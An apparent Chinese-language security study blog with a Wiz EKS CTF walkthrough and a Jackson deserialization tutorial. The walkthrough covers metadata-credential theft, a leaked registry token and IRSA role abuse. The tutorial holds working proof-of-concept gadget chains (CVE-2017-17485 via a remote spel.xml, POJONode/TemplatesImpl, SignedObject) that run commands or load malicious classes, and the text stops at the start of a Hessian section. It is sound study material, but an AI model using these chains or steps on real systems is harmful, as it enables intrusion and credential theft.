Wiz EKS Challenge学习记录

Wiz EKS Challenge

第一关 Secret Seeker

题目描述:Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

EKS权限配置如下,可以对secrets进行列举和读取:

1
2
3
4
5
6
{
"secrets": [
"get",
"list"
]
}

根据提示是寻找集群中的secrets资源,通过kubectl get secrets 列出当前 命名空间(namespace) 下的所有 Secret,并使用命令kubectl get secret log-rotate -o jsonpath='{.data.flag}' | base64 --decode查看即可获得flag。

第二关 Registry Hunt

题目描述:

1
2
A thing we learned during our research: always check the container registries.
For your convenience, the crane utility is already pre-installed on the machine.

EKS配置如下,secrets仅可获取不可列举,pods可列举和读取

1
2
3
4
5
6
7
8
9
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}

先看看有什么pods:

使用命令kubectl get pods database-pod-14f9769b -o yaml获取该pod的配置信息:

题目要求关注registry,Kubernetes容器注册表(Container Registry)是用于存储和管理Docker镜像的集中化存储库。它允许开发人员构建、保存和传输容器镜像,以供在Kubernetes集群中部署和运行。配置信息里面提到了image镜像地址和拉取进行的secret:

使用secret拉取对应的镜像:

先获取secret,解码得到登录index.docker.io/v1/的账号密码eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

登录认证crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo index.docker.io

crane pull eksclustergames/base_ext_image 1.tar

tar -xvf 1.tar

tar -xvf ce2d28790c34f433c7675ac64b6e9b9e1524ccdfb8d46eeded43000d832238a0.tar.gz

cat flag.txt

第三关 Image Inquisition

题目描述:

1
2
A pod's image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
Remember: You are running inside a compromised EKS pod.

EKS配置:

1
2
3
4
5
6
{
"pods": [
"list",
"get"
]
}

提示是在AWS 的pod环境中,且要获得image去寻找secret。

通过获取pod的详细信息,可以看到存在image信息

但因为没有权限,无法获取:

因为是在AWS 的pod中,可以尝试通过有关接口获取凭据。元数据服务是一种提供查询运行中的实例内元数据的服务,在云场景下可以通过元数据进行临时凭证和其他信息的收集,在 AWS 下的元数据地址为:http://169.254.169.254/latest/meta-datahttp://instance-data/latest/meta-data。此外如果目标配置 了IAM 角色,还可以通过访问元数据的 /iam/security-credentials/<rolename> 路径可以获得目标的临时凭证,进而接管目标服务器控制台账号权限。

这里获取到了aws sts临时凭据,可以使用cli工具来获取image的信息

先获取登录ECR的密码

随后进行登录

登录之后就可以查看镜像的内容了,在此之前需要先找到镜像名称,之后通过crane config查看镜像的信息,在运行记录中发现有flag

第四关 Pod Break

题目描述:

1
2
3
You're inside a vulnerable pod on an EKS cluster. Your pod's service-account has no permissions. Can you navigate your way to access the EKS Node's privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

权限设置为:{}

提示当前处于EKS集群中一个存在漏洞的pod中,需要获取node的权限来访问服务账户。

由于没有list或者get权限,先尝试收集凭据

获取到的是eks-challenge-cluster-nodegroup-NodeInstanceRole这个角色的凭据,而AWS的role命名有一个规则:<cluster-name>-nodegroup-NodeInstanceRole,因此可以知道cluster-name为eks-challenge-cluster,可以通过get-token来获取集群的凭据:

根据题目提示,这里就可以拿token来获取secret

在 Kubernetes 中,通过 kube-apiserver对集群进行访问,访问需要使用如ServiceAccount 令牌、客户端证书、基本身份验证(用户名和密码)、静态令牌文件等凭据来进行授权验证。AWS EKS使用了Webhook Token Authentication的身份验证,允许外部服务(AWS的EKS使用的是STS)对令牌进行身份验证,并返回与该令牌关联的用户信息。

使用 aws eks get-token命令AWS CLI 会调用 STS 的 GetCallerIdentity操作并获取一个带有签名的文档,这个带有签名的文档就是你的令牌。当你使用这个令牌与 EKS 集群通信时,EKS 集群会将这个令牌发送给 STS 进行验证,STS 会返回与这个令牌关联的用户信息,所以可以使用这个令牌直接管理集群。

第五关 Container Secrets Infrastructure

题目描述:

1
You've successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the *s3access-sa* service account, and get the flag?

提示当前已经成功通过有限权限的服务账户获取到了节点服务账户,下一步是从EKS到AWS账户的获取,拿到s3access-sa账户的权限。

IAM策略为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}

允许的操作:

  • **s3:GetObject**:读取对象的内容(下载文件)。
  • **s3:ListBucket**:列出存储桶中的对象(相当于查看目录列表)。

限制作用的资源:

  • arn:aws:s3:::challenge-flag-bucket-3ff1ae2 → 代表整个 S3 存储桶。
  • arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag → 代表桶里特定的对象 flag

这个策略允许:

  • 列出 challenge-flag-bucket-3ff1ae2 桶中的对象(但不一定能访问所有对象)。
  • 读取桶里特定的 flag 文件。

也就是说,用户能看到桶里的对象清单,并且可以 下载 flag 文件,但并不能随意访问桶里其他文件(除非也被明确授予 s3:GetObject 权限)。

Trust策略为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
}
}
}
]
}

Principal指定了一个 Federated(联合身份)主体:这是你在账号 688655246681 中创建的 EKS OIDC 提供方(IRSA 用到的那个 OIDC Provider)。也就是说:来自这个 OIDC Provider 签发的 Web Identity Token(来自你的 EKS 集群)可以来扮演该角色。

Action说明允许通过 STS 的 AssumeRoleWithWebIdentity API 进行代入(典型 IRSA 流程)。

Condition要求来自该 OIDC 的令牌中,aud(Audience)必须是 sts.amazonaws.com,这是 IRSA 的标准校验之一,确保该令牌是面向 STS 使用的,而非其他受众。

pod权限为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}

**secrets: ["get","list"]**:允许读取并列出命名空间内的 Secret。拿到 Secret 往往就等于能拿到数据库密码、云凭证、Docker registry token、TLS 私钥等,具备横向&向外部升级的可能。

**serviceaccounts: ["get","list"]**:允许查看并列出 ServiceAccount(SA)对象(名称、注解、挂载的 secret 引用等)。这为后续“挑选目标 SA”提供信息。

**pods: ["get","list"]**: 允许查看并列出 Pod(包含它运行所用的 serviceAccountName、挂载卷、镜像、环境变量)。这能帮助识别“更高权限的 SA 在哪些 Pod 上使用”。

serviceaccounts/token: ["create"](子资源): 允许调用 TokenRequest API 为某个 ServiceAccount 签发短期 JWT 令牌(Bound Service Account Token), 这张 token 可直接作为 Bearer Token 调 K8s API,拥有该 SA 的全部权限

由IAM的策略可知,flag位于arn:aws:s3:::challenge-flag-bucket-3ff1ae2存储桶中,我们需要获取相关IAM权限才能够获得flag。

通过get可以看到没有pods和secrets资源,但是有三个sa:

s3access-sa这个账户的角色拥有S3Role字段,可能拥有对flag的读取权限,所以目标是获取s3access-sa的相关凭据。

Trust策略中提到允许OIDC来通过sts扮演角色,Condition要求来自该 OIDC 的令牌中,aud(Audience)必须是 sts.amazonaws.com,但并没有更细致的划分,即没有对subject进行检查,这就可能导致了身份扮演滥用的风险。

kubectl create token可以创建一个新的身份验证令牌,并将其分配给指定的用户或服务账号。这样,用户或服务账号就可以使用该令牌来进行身份验证,并获得相应的权限来执行操作。

可以创建debug-sa的token,但无法创建s3access-sa的token,他们的OIDC均为688655246681,解码也可以看到debug的aud为:oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589

符合Trust策略,因此可以让debug-sa来通过sts:AssumeRoleWithWebIdentity来扮演s3access-sa的challengeEksS3Role角色,其中token需要由sts.amazonaws.com颁发。

这样就让debug-sa切换到了s3access-sa的challengeEksS3Role角色,这样就可以获取flag了

Jackson反序列化

一、简介

Jackson是最流行的JSON解析器之一,具有很多的优先,如:依赖的jar包较少、解析速度快、运行时占用内存低、性能较好、简单易用等。

Jackson具有三大核心组件:

  • jackson-core,核心包,提供基于”流模式”解析的相关 API,包括 JsonPaser 和 JsonGenerator。
  • jackson-annotations,注解包,提供标准注解功能。
  • jackson-databind ,数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API (JsonNode)。

maven依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
</dependencies>

二、序列化与反序列化

ObjectMapper

Jackson最常用的API,可以从字符串、流或文件中解析JSON,并创建表示已解析的JSON的Java对象。序列化使用readValue,反序列化使用writeValuewriteValueAsStringwriteValueAsBytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
   public static void json2objectObjectMapper(){
String jsondata = "{\"name\":\"xiaoming\",\"age\":1000}";
ObjectMapper objectMapper = new ObjectMapper();
try {
Person person = objectMapper.readValue(jsondata,Person.class);
System.out.println("Name: "+person.getName()+"\nAge: "+person.getAge());
}catch (Exception e){
e.printStackTrace();
}
}
public static String object2jsonObjectMapper(){
Person person = new Person();
person.setName("xiaoming");
person.setAge(16);
ObjectMapper objectMapper = new ObjectMapper();
try {
String json = objectMapper.writeValueAsString(person);
return json;

}catch (Exception e){
e.printStackTrace();
return "error";
}
}

package org.example;

public class Person {
private String name;
private int age;
private Object object;
private int sex;
public int getAge() {
return age;
}

public int getSex() {
return sex;
}

public Object getObject() {
return object;
}

public String getName() {
return name;
}

public void setObject(Object object) {
this.object = object;
}

public void setName(String name) {
this.name = name;
}

public void setSex(int sex) {
this.sex = sex;
}

public void setAge(int age) {
this.age = age;
}
}

JsonPaser

JsonParser的运行层级低于ObjectMapper,因此JsonParserObjectMapper更快,但使用起来也比较麻烦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static void object2jsonJsonParser(){
String json = "{\"name\":\"xiaoming\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
try {
JsonParser parser = jsonFactory.createParser(json);
System.out.println(parser);
}
catch (Exception e ){
e.printStackTrace();
}
}
public static void json2objectJsonParser(){
String json = "{\"name\":\"xiaoming\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
Person1 person1 =new Person1();
try{
JsonParser parser = jsonFactory.createParser(json);
while(!parser.isClosed()){
JsonToken jsonToken = parser.nextToken();
if (JsonToken.FIELD_NAME.equals(jsonToken)){
String fieldName = parser.getCurrentName();
System.out.println(fieldName);

jsonToken=parser.nextToken();

if ("name".equals(fieldName)){
person1.name = parser.getValueAsString();

}
else if ("age".equals(fieldName)){
person1.age = parser.getValueAsInt();
}
}

System.out.println("name: "+person1.name);
System.out.println("age: "+person1.age);
}
}
catch (Exception e ){
e.printStackTrace();
}
}

JsonGenerator

JsonGenerator用于将对象序列化成JSON或代码从中生成JSON的任何数据结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void object2jsonJsonGenerator(){
JsonFactory jsonFactory = new JsonFactory();
try{
JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name","test");
jsonGenerator.writeNumberField("age",23);
jsonGenerator.writeEndObject();
jsonGenerator.close();
}catch (Exception e){
e.printStackTrace();
}
}

因为Java允许同一个接口使用不同的实例而执行不同的操作,所以Jackson也就提供了相对于的服务。在序列化过程中,可以将具体的子类信息绑定到序列化内容中,以便于在反序列化过程中,即是类成员不是具体类型而是Object接口或其他抽象类仍可以直接找到目标子类对象。这其实可以通过DefaultTyping 和 @JsonTypeInfo 注解来实现。

DefaultTyping

DefaultTyping 是Jackson提供的enableDefaultTyping设置,其中包含四个值,其功能如下:

DefaultTyping类型 能进行序列化和反序列化的属性
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为ObjectInterfaceAbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为ObjectInterfaceAbstractClassArray
NON_FINAL 所有除了声明为final之外的属性

用法示例:

1
2
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

@JsonTypeInfo注解

注解类型 作用 抽象类属性能否反序列成功
JsonTypeInfo.Id.NONE 用于指定在序列化和反序列化过程中不包含任何类型标识、不使用识别码 ×
JsonTypeInfo.Id.CLASS 用于指定在序列化过程中指定具体的包名和类名
JsonTypeInfo.Id.MINIMAL_CLASS 用于指定在序列化过程中指定具体的包名和类名
JsonTypeInfo.Id.NAME 用于指定在序列化过程中指定具体的类名 ×
JsonTypeInfo.Id.CUSTOM 自定义识别码,需要用户自己实现,不能直接使用 ×

反序列化流程

但是具体是如何调用,其原理是什么,我们还需要从反序列的流程入手了解:

首先,readValue会调用_readMapAndClose方法进行处理,获取构造类需要用到的基本信息:

准备就绪之后调用BeanDeserializer中的deserialize函数:

首先会对输入数据的格式进行判断,根据是否是顶层类采用不同的反序列化方式:

符合条件之后调用vanillaDeserialize函数,先构造实例再进行赋值:

createUsingDefault函数会调用指定类的无参构造函数来生成类实例:

调用_constructor.newInstance() 实现无参的构造函数:

调用Person类的无参构造函数完成了bean的实例化:

获取到Person类实例之后会根据类的属性与传入的json数据继续成员变量名称比对, 以键值对的形式进行匹配,符合的则进行赋值。

先是调用了deserialize函数进行解析,随后再利用setter进行赋值。

也就是说当满足前提条件的时候,Jackson反序列化会调用属性所属类的构造函数和setter方法,我们就可以在此做文章,属性中有Object则考虑构造函数和setter函数,没有则进考虑setter函数。

例如一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//恶意类
public class Evil {
public String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(this.cmd);
}catch (Exception e){
}
}
}
//反序列化触发setter方法
public static void main(String[] args) throws Exception{
String json = "{\"name\":\"Evil\",\"age\":100,\"object\":{\"@class\":\"org.example.Evil\",\"cmd\":\"calc\"},\"sex\":1}";
ObjectMapper objectMapper1 = new ObjectMapper();
Person person1 = objectMapper1.readValue(json,Person.class);
}

三、反序列化漏洞

Jackson反序列化漏洞可分为两类,一是基于Jackson的反序列化机制,二是基于Jackson库中的某些类作为调用链中的某一段。

基于Jackson反序列化机制

由前面我们可以看到,Jackson在反序列化的时候类似于Fastjson,通过某些设置使得可以在json数据中指定具体的类信息,实现对特定类的实例化从进行恶意类加载进行攻击,具体的前提条件如下(满足其中之一即可):

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS@JsonTypeInfo注解;

CVE-2017-17485

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>jackson1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-expression -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-annotations -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-core -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
</dependencies>
</project>

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class CVE201717485 {
public static void main(String[] args) {

String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

spel.xml

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

POJONode

TemplatesImpl任意类加载

POJONode类继承了BeanJsonNode抽象类,在调用POJONodetoString方法的时候实际上调用的是BeanJsonNodetoString:

toString的内部调用的其实是InternalNodeMapper.nodeToString()

内部调用的其实就是Jackson的节点JSON序列化方法writeValueAsString,将对象序列化为JSON数据:

一路跟进最后是调用到了POJONodeserialize函数:

这里会对POJONode的成员进行序列化:

最后会在获取成员变量的值时调用getter也就是TemplatesImpl.getOutputProperties,也就到了我们最熟悉的环节。

因此,只要POJONode类的_value成员是我们设置好的TemplatesImpl类,那么在调用POJONodetoString的时候就能够触发任意类的加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class POJONodeTest {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("恶意类路径"));
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaa");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesImpl);
jsonNodes.toString();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

当然这只是一条完整反序列化漏洞调用链的后半段,还需要接上从readObjecttoString的调用才行。

说到toString最先想到的肯定还是javax.management.BadAttributeValueExpException这个类,它在readObject过程中会获取val这一成员,如果val不是String类型且符合安全管理机制的话就会调用其toString函数,那么我们只需要把val这一成员的值设为带有TemplatesImpl``POJONode类就可以了,整一条链子也就实现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

public class PON {
public static void main(String[] args)throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "aaa");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

SignedObject二次反序列化

由前面我们知道POJONode类的toString函数在调用过程中在获取成员变量的值时调用getter,回想起前面的ROME反序列化可以想到SignedObject类的getter方法getObject也能在这里被触发,实现二次反序列化,从而绕过Templates被禁用的情况,这里我们也是只需要为POJONode类的成员变量_value赋值为带有二次反序列化内容的SignedObject类即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.Base64;
import java.util.HashMap;

public class SignedObjectPON {
public static void main(String[] args) throws Exception{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);
SignedObject signedObject = makeSObj(hashMap);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
System.out.println(serial(exp));
// String exp = "base编码的payload";
// deserial(exp);
}
public static String serial(Object o) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException {
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}
}

参考链接:

https://xz.aliyun.com/t/12966

https://www.cnblogs.com/LittleHann/p/17811918.html

http://www.mi1k7ea.com/2019/11/17/Jackson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94CVE-2017-1748%EF%BC%88%E5%9F%BA%E4%BA%8EClassPathXmlApplicationContext%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/

http://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

Hessian反序列化

前置知识

1、CC链

2、rome反序列化


Hessian是一种用于远程调用的二进制协议,广泛用于构建分布式系统中的跨平台通信。它可以将Java对象序列化为二进制数据,相对于json或xml提供更高效的数据传输和更低的开销。这里讲的Hessian 是CAUCHO公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范。Hessian是基于Field机制来进行反序列化,通过一些特殊的方法或者反射来进行赋值,在反序列化过程中自动调用的方法更少,相对基于Bean机制其攻击面也更小。

反序列化过程

我们可以编写一个简单的Person类来进行测试,调用Hessian的序列化方法转化为二进制数组,随后再调用Hessian的发序列化方法将二进制数组转化为Person对象,在此过程中下断点并进行单步跟进来观察其反序列化的过程。

项目依赖:

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
